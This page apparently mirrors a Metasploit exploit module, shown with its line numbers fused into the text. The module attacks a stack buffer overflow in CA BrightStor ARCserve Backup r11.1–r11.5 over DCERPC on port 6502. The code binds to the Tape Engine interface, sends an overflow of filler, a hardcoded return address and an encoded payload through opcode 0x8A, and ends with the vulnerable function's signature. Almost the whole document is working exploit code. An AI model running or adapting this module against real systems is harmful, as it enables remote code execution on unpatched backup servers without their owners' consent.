Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/brightstor/tape_engine_0x8a.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::DCERPC910def initialize(info = {})11super(update_info(info,12'Name' => 'CA BrightStor ARCserve Tape Engine 0x8A Buffer Overflow',13'Description' => %q{14This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup15r11.1 - r11.5. By sending a specially crafted DCERPC request, an attacker could overflow16the buffer and execute arbitrary code.17},18'Author' => [ 'MC' ],19'License' => MSF_LICENSE,20'References' =>21[22[ 'OSVDB', '68330'],23[ 'URL', 'http://www.metasploit.com/users/mc' ],24],25'Privileged' => true,26'DefaultOptions' =>27{28'EXITFUNC' => 'thread',29},30'Payload' =>31{32'Space' => 500,33'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",34'StackAdjustment' => -3500,35},36'Platform' => 'win',37'Targets' =>38[39[ 'BrightStor ARCserve r11.5/Windows 2003', { 'Ret' => 0x28eb6493 } ],40],41'DisclosureDate' => '2010-10-04',42'DefaultTarget' => 0))4344register_options([ Opt::RPORT(6502) ])45end4647def exploit4849connect5051handle = dcerpc_handle('62b93df0-8b02-11ce-876c-00805f842837', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])52print_status("Binding to #{handle} ...")5354dcerpc_bind(handle)55print_status("Bound to #{handle} ...")5657request = "\x00\x04\x08\x0c\x05\x00\x00\x00\x00\x00"58request << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"5960dcerpc.call(0x2B, request)6162sploit = NDR.long(4)63sploit << NDR.string(rand_text_alpha_upper(1002) + [target.ret].pack('V') + payload.encoded + "\x00")6465print_status("Trying target #{target.name}...")6667begin68dcerpc_call(0x8A, sploit)69rescue Rex::Proto::DCERPC::Exceptions::NoResponse70end7172handler73disconnect7475end7677end78=begin79/* opcode: 0x8A, address: 0x100707D0 */8081long sub_100707D0 (82[in] handle_t arg_1,83[in] long arg_2,84[in][ref][string] char * arg_385);86=end878889